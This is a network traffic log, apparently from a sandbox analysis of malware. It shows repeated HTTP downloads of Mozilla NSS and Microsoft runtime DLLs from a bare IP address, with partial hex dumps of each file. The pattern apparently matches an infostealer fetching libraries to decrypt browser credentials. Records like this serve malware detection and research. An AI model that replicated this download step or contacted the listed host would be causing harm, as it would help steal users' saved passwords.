Aug 24, 2021 14:01:42.523513079 CEST	11843	OUT	GET /freebl3.dll HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 Host: 188.34.200.103 Connection: Keep-Alive
Aug 24, 2021 14:01:42.544044971 CEST	11844	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Aug 2021 12:01:42 GMT Content-Type: application/x-msdos-program Content-Length: 334288 Connection: keep-alive Last-Modified: Wed, 14 Nov 2018 15:53:50 GMT ETag: "519d0-57aa1f0b0df80" Expires: Wed, 25 Aug 2021 12:01:42 GMT Cache-Control: max-age=86400 X-Cache-Status: EXPIRED X-Cache-Status: HIT Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 f0 2f 05 84 91 41 56 84 91 41 56 84 91 41 56 8d e9 d2 56 88 91 41 56 5d f3 40 57 86 91 41 56 1a 31 86 56 85 91 41 56 5d f3 42 57 80 91 41 56 5d f3 44 57 8f 91 41 56 5d f3 45 57 8f 91 41 56 a6 f1 40 57 80 91 41 56 4f f2 40 57 87 91 41 56 84 91 40 56 d6 91 41 56 4f f2 42 57 86 91 41 56 4f f2 45 57 c0 91 41 56 4f f2 41 57 85 91 41 56 4f f2 be 56 85 91 41 56 4f f2 43 57 85 91 41 56 52 69 63 68 84 91 41 56 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 d8 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 d8 03 00 00 66 01 00 00 00 00 00 29 dd 03 00 00 10 00 00 00 f0 03 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 05 00 00 04 00 00 a3 73 05 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 70 e6 04 00 50 00 00 00 c0 e6 04 00 c8 00 00 00 00 40 05 00 78 03 00 00 00 00 00 00 00 00 00 00 00 fc 04 00 d0 1d 00 00 00 50 05 00 e0 16 00 00 30 e2 04 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 88 e2 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 f0 03 00 38 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 74 d6 03 00 00 10 00 00 00 d8 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 fc fe 00 00 00 f0 03 00 00 00 01 00 00 dc 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 2c 48 00 00 00 f0 04 00 00 04 00 00 00 dc 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 40 05 00 00 04 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 e0 16 00 00 00 50 05 00 00 18 00 00 00 e4 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$/AVAVAVVAV]@WAV1VAV]BWAV]DWAV]EWAV@WAVO@WAV@VAVOBWAVOEWAVOAWAVOVAVOCWAVRichAVPELb["!f)ps@pP@xP0T@8.textt `.rdata@@.data,H@.rsrcx@@@.relocP@B
Aug 24, 2021 14:01:42.544079065 CEST	11846	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 3f 01 00 00 e8 23 c9 03 00 59 85 c0 75 0e 68 13 e0 ff ff e8 Data Ascii: h?#Yuh&Y3(UVt-jujuuuVzt(Y3^]U0SVW}EuGE9Esho}Y
Aug 24, 2021 14:01:42.544102907 CEST	11847	IN	Data Raw: 41 ff 88 42 03 84 c9 75 1c 8a 4a 02 8d 41 ff 88 42 02 84 c9 75 0f 8a 4a 01 8d 41 ff 88 42 01 84 c9 75 02 fe 0a 5d c3 68 90 00 00 00 e8 ff c3 03 00 59 c3 55 8b ec 56 68 90 00 00 00 e8 ef c3 03 00 8b f0 59 85 f6 74 2a 6a 00 ff 75 18 ff 75 14 ff 75 Data Ascii: ABuJABuJABu]hYUVhYt*juuuuuVtjVWYY3^]US]3t9thY)9]shESuuPuM[]U}t!hjuO}tuHY]U
Aug 24, 2021 14:01:42.544137955 CEST	11848	IN	Data Raw: 3c 73 8b 75 08 66 8b 5d f4 66 89 7d ec 66 c1 cf 05 66 2b 0c 46 66 2b 1c 56 8b 45 ec 83 e0 3f 66 89 4d f8 8b 55 f8 66 89 4d 12 66 8b 4d f0 66 2b 0c 46 66 89 4d f0 8b 75 f0 66 89 4d fe 66 89 5d f4 8b 4d f4 8b c1 f7 d0 66 c1 cb 03 23 c6 23 ca 66 2b Data Ascii: <suf]f}ff+Ff+VE?fMUfMfMf+FfMufMf]Mf##f+Ef+f+xV#Mf+#Ef+fUff+XT]#f+}#f+f+SR#fU#ff+uf+f+SPfM#f#f+Uf+f+KNfM}f##f
Aug 24, 2021 14:01:42.544161081 CEST	11850	IN	Data Raw: d1 23 fb 66 8b 4d ec 23 c2 66 c1 c9 05 66 2b c8 89 55 f0 66 2b cf 8b c3 8b 7d 08 f7 d0 23 da 66 2b 4f 0e 0f b7 f1 66 8b 4d f4 23 c6 66 c1 c9 03 66 2b c8 89 75 ec 66 2b cb 66 2b 4f 0c 0f b7 f9 89 7d f4 66 8b 4d f8 8b c2 66 c1 c9 02 f7 d0 23 c7 66 Data Ascii: #fM#ff+Uf+}#f+OfM#ff+uf+f+O}fMf#f+#Uf+#f+JfM#ff+]f+f+J#fM#ff+UEf+f+HfM#f#f+}f+]f+KfM#ff+u#ff+f+K
Aug 24, 2021 14:01:42.544188023 CEST	11851	IN	Data Raw: 55 f8 8b ca f7 d1 8b c2 23 4d fc 23 45 10 03 c8 8b 45 08 66 03 48 28 8b c2 66 03 ce 66 d1 c1 0f b7 f1 23 c6 89 75 f4 8b ce f7 d1 23 4d 10 03 c8 8b 45 08 66 03 48 2a 66 03 cf 66 c1 c1 02 0f b7 f9 8b cf 89 7d fc f7 d1 8b c7 23 ca 23 c6 03 c8 8b 45 Data Ascii: U#M#EEfH(ff#u#MEfH*ff}##EfH,f]fU##fK.fMfu##fK0fMf}##fK2fMfU##fK4fMfu##fK6fMf
Aug 24, 2021 14:01:42.544212103 CEST	11853	IN	Data Raw: c1 02 0f b7 d1 8b ca 89 55 fc f7 d1 8b c2 23 ce 23 c7 03 c8 66 03 4b 7c 66 03 4d 10 66 c1 c1 03 0f b7 c1 8b c8 89 45 10 f7 d1 23 c2 23 cf 03 c8 66 03 4b 7e 66 03 ce 66 c1 c1 05 0f b7 c1 8b 4d 0c 89 45 f8 66 8b c7 5f 5e 66 89 01 66 8b c2 66 89 41 Data Ascii: U##fK\|fMfE##fK~ffMEf_^fffAfEfAfEfA[]UQQVuEMSW}XW+NUFfDfEfBfEffEfBfE1E1EEPPQ:MEUEfE
Aug 24, 2021 14:01:42.544235945 CEST	11854	IN	Data Raw: 53 8b 5d 10 89 95 f4 fe ff ff 57 8b 7d 08 89 bd f8 fe ff ff 85 db 0f 84 a1 00 00 00 b8 00 01 00 00 3b d8 0f 83 94 00 00 00 85 ff 75 0a 68 05 e0 ff ff e9 8b 00 00 00 56 be 60 f2 03 10 6a 40 59 f3 a5 8d b5 fc fe ff ff 8b f8 3b d8 73 19 53 52 56 e8 Data Ascii: S]W};uhV`j@Y;sSRV+;wWRV2+8Guf3^hYYM_3[]USVuW}
Aug 24, 2021 14:01:42.544259071 CEST	11855	IN	Data Raw: 0f b6 04 08 c1 e0 10 0b f0 8a 45 ff fe c7 0f b6 d7 8a 1c 0a 02 c3 88 45 ff 0f b6 c0 8a 0c 08 88 0c 3a 8b d7 8b 7d 1c 02 cb 83 ef 04 89 7d 1c 88 1c 10 0f b6 c1 8b 4d 14 0f b6 04 10 c1 e0 18 0b c6 8b f2 33 45 0c 8b 55 f8 89 01 83 c1 04 83 6d 18 01 Data Ascii: EE:}}M3EUmM}mE3_^[]Ujjj@u]Uhju"}tuY]UVuW}j@X;G}9r}FP
Aug 24, 2021 14:01:42.544281960 CEST	11857	IN	Data Raw: 51 81 f7 d1 82 e6 ad 03 c6 89 85 cc fe ff ff 13 cf 33 85 1c ff ff ff 8b d9 89 8d c8 fe ff ff 33 9d 20 ff ff ff 8b d0 8b 4d 84 0f ac da 18 0f ac c3 18 8b 45 88 03 ca 13 c3 01 8d e0 fe ff ff 8b 8d f0 fe ff ff 13 c8 8b 85 e0 fe ff ff 33 c6 89 8d f0 Data Ascii: Q33 ME33x\|33EM$(3D3
Aug 24, 2021 14:01:42.564498901 CEST	11858	IN	Data Raw: bd 80 fe ff ff 8b c8 0f ac d1 1f 0f ac c2 1f 8b 45 e0 89 8d 70 fe ff ff 8b 4d dc 03 cb 89 95 8c fe ff ff 8b 95 f4 fe ff ff 13 c7 03 d1 8b 8d d4 fe ff ff 8b f2 13 c8 89 95 f4 fe ff ff 33 b5 88 fe ff ff 8b d1 33 95 98 fe ff ff 8b 85 c8 fe ff ff 89 Data Ascii: EpM333M3E33M33
Aug 24, 2021 14:01:42.912463903 CEST	12198	OUT	GET /mozglue.dll HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 Host: 188.34.200.103 Connection: Keep-Alive
Aug 24, 2021 14:01:42.933065891 CEST	12199	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Aug 2021 12:01:42 GMT Content-Type: application/x-msdos-program Content-Length: 137168 Connection: keep-alive Last-Modified: Wed, 14 Nov 2018 15:53:50 GMT ETag: "217d0-57aa1f0b0df80" Expires: Wed, 25 Aug 2021 12:01:42 GMT Cache-Control: max-age=86400 X-Cache-Status: EXPIRED X-Cache-Status: HIT Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 8d c2 55 b1 c9 a3 3b e2 c9 a3 3b e2 c9 a3 3b e2 c0 db a8 e2 d9 a3 3b e2 57 03 fc e2 cb a3 3b e2 10 c1 38 e3 c7 a3 3b e2 10 c1 3f e3 c2 a3 3b e2 10 c1 3a e3 cd a3 3b e2 10 c1 3e e3 db a3 3b e2 eb c3 3a e3 c0 a3 3b e2 c9 a3 3a e2 77 a3 3b e2 02 c0 3f e3 c8 a3 3b e2 02 c0 3e e3 dd a3 3b e2 02 c0 3b e3 c8 a3 3b e2 02 c0 c4 e2 c8 a3 3b e2 02 c0 39 e3 c8 a3 3b e2 52 69 63 68 c9 a3 3b e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 c4 5f eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 7a 01 00 00 86 00 00 00 00 00 00 e0 82 01 00 00 10 00 00 00 90 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 02 00 00 04 00 00 16 33 02 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 40 c0 01 00 74 1e 00 00 b4 de 01 00 2c 01 00 00 00 20 02 00 78 03 00 00 00 00 00 00 00 00 00 00 00 fa 01 00 d0 1d 00 00 00 30 02 00 68 0c 00 00 00 b9 01 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 54 b9 01 00 18 00 00 00 68 b8 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 90 01 00 f4 02 00 00 6c be 01 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ca 78 01 00 00 10 00 00 00 7a 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 5e 65 00 00 00 90 01 00 00 66 00 00 00 7e 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 bc 0b 00 00 00 00 02 00 00 02 00 00 00 e4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 00 00 38 00 00 00 00 10 02 00 00 02 00 00 00 e6 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 78 03 00 00 00 20 02 00 00 04 00 00 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 0c 00 00 00 30 02 00 00 0e 00 00 00 ec 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$U;;;;W;8;?;:;>;:;:w;?;>;;;;9;Rich;PEL_["!z@3@A@t, x0hTTh@l.textxz `.rdata^ef~@@.data@.didat8@.rsrcx @@.reloch0@B
Aug 24, 2021 14:01:43.045428038 CEST	12340	OUT	GET /msvcp140.dll HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 Host: 188.34.200.103 Connection: Keep-Alive
Aug 24, 2021 14:01:43.065982103 CEST	12342	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Aug 2021 12:01:43 GMT Content-Type: application/x-msdos-program Content-Length: 440120 Connection: keep-alive Last-Modified: Wed, 14 Nov 2018 15:53:50 GMT ETag: "6b738-57aa1f0b0df80" Expires: Wed, 25 Aug 2021 12:01:43 GMT Cache-Control: max-age=86400 X-Cache-Status: EXPIRED X-Cache-Status: HIT Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a6 c8 bc 41 e2 a9 d2 12 e2 a9 d2 12 e2 a9 d2 12 56 35 3d 12 e0 a9 d2 12 eb d1 41 12 fa a9 d2 12 3b cb d3 13 e1 a9 d2 12 e2 a9 d3 12 22 a9 d2 12 3b cb d1 13 eb a9 d2 12 3b cb d6 13 ee a9 d2 12 3b cb d7 13 f4 a9 d2 12 3b cb da 13 95 a9 d2 12 3b cb d2 13 e3 a9 d2 12 3b cb 2d 12 e3 a9 d2 12 3b cb d0 13 e3 a9 d2 12 52 69 63 68 e2 a9 d2 12 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 16 38 27 59 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 04 06 00 00 82 00 00 00 00 00 00 50 b1 03 00 00 10 00 00 00 20 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 d0 06 00 00 04 00 00 61 7a 07 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f0 43 04 00 82 cf 01 00 f4 52 06 00 2c 01 00 00 00 80 06 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 78 06 00 38 3f 00 00 00 90 06 00 34 3a 00 00 f0 66 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 28 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 50 06 00 f0 02 00 00 98 40 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 72 03 06 00 00 10 00 00 00 04 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 10 28 00 00 00 20 06 00 00 18 00 00 00 08 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 36 14 00 00 00 50 06 00 00 16 00 00 00 20 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 70 06 00 00 02 00 00 00 36 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f8 03 00 00 00 80 06 00 00 04 00 00 00 38 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 34 3a 00 00 00 90 06 00 00 3c 00 00 00 3c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$AV5=A;";;;;;;-;RichPEL8'Y"!P az@ACR,x8?4:f8(@P@@.textr `.data( @.idata6P @@.didat4p6@.rsrc8@@.reloc4:<<@B
Aug 24, 2021 14:01:43.611349106 CEST	12806	OUT	GET /nss3.dll HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 Host: 188.34.200.103 Connection: Keep-Alive
Aug 24, 2021 14:01:43.631973028 CEST	12808	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Aug 2021 12:01:43 GMT Content-Type: application/x-msdos-program Content-Length: 1246160 Connection: keep-alive Last-Modified: Wed, 14 Nov 2018 15:53:50 GMT ETag: "1303d0-57aa1f0b0df80" Expires: Wed, 25 Aug 2021 12:01:43 GMT Cache-Control: max-age=86400 X-Cache-Status: EXPIRED X-Cache-Status: HIT Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 23 83 34 8c 67 e2 5a df 67 e2 5a df 67 e2 5a df 6e 9a c9 df 73 e2 5a df be 80 5b de 65 e2 5a df f9 42 9d df 63 e2 5a df be 80 59 de 6a e2 5a df be 80 5f de 6d e2 5a df be 80 5e de 6c e2 5a df 45 82 5b de 6f e2 5a df ac 81 5b de 64 e2 5a df 67 e2 5b df 90 e2 5a df ac 81 5e de 6d e3 5a df ac 81 5a de 66 e2 5a df ac 81 a5 df 66 e2 5a df ac 81 58 de 66 e2 5a df 52 69 63 68 67 e2 5a df 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 ad 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 ea 0e 00 00 1e 04 00 00 00 00 00 77 f0 0e 00 00 10 00 00 00 00 0f 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 40 13 00 00 04 00 00 b7 bb 13 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 9d 11 00 88 a0 00 00 88 3d 12 00 54 01 00 00 00 b0 12 00 70 03 00 00 00 00 00 00 00 00 00 00 00 e6 12 00 d0 1d 00 00 00 c0 12 00 14 7d 00 00 70 97 11 00 54 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 97 11 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 0f 00 f8 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 81 e8 0e 00 00 10 00 00 00 ea 0e 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 10 52 03 00 00 00 0f 00 00 54 03 00 00 ee 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 74 47 00 00 00 60 12 00 00 22 00 00 00 42 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 70 03 00 00 00 b0 12 00 00 04 00 00 00 64 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 14 7d 00 00 00 c0 12 00 00 7e 00 00 00 68 12 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$#4gZgZgZnsZ[eZBcZYjZ_mZ^lZE[oZ[dZg[Z^mZZfZfZXfZRichgZPELb["!w@@=Tp}pT@.text `.rdataRT@@.datatG`"B@.rsrcpd@@.reloc}~h@B
Aug 24, 2021 14:01:51.843132973 CEST	18745	OUT	GET /softokn3.dll HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 Host: 188.34.200.103 Connection: Keep-Alive
Aug 24, 2021 14:01:51.863533974 CEST	18746	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 24 Aug 2021 12:01:51 GMT Content-Type: application/x-msdos-program Content-Length: 144848 Connection: keep-alive Last-Modified: Wed, 14 Nov 2018 15:53:50 GMT ETag: "235d0-57aa1f0b0df80" Expires: Wed, 25 Aug 2021 12:01:51 GMT Cache-Control: max-age=86400 X-Cache-Status: EXPIRED X-Cache-Status: HIT Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 6c 24 1c e6 0d 4a 4f e6 0d 4a 4f e6 0d 4a 4f ef 75 d9 4f ea 0d 4a 4f 3f 6f 4b 4e e4 0d 4a 4f 3f 6f 49 4e e4 0d 4a 4f 3f 6f 4f 4e ec 0d 4a 4f 3f 6f 4e 4e ed 0d 4a 4f c4 6d 4b 4e e4 0d 4a 4f 2d 6e 4b 4e e5 0d 4a 4f e6 0d 4b 4f 7e 0d 4a 4f 2d 6e 4e 4e f2 0d 4a 4f 2d 6e 4a 4e e7 0d 4a 4f 2d 6e b5 4f e7 0d 4a 4f 2d 6e 48 4e e7 0d 4a 4f 52 69 63 68 e6 0d 4a 4f 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 bf 62 eb 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0b 00 b6 01 00 00 62 00 00 00 00 00 00 97 bc 01 00 00 10 00 00 00 d0 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 50 02 00 00 04 00 00 09 b1 02 00 02 00 40 01 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 03 02 00 a8 00 00 00 b8 03 02 00 c8 00 00 00 00 30 02 00 78 03 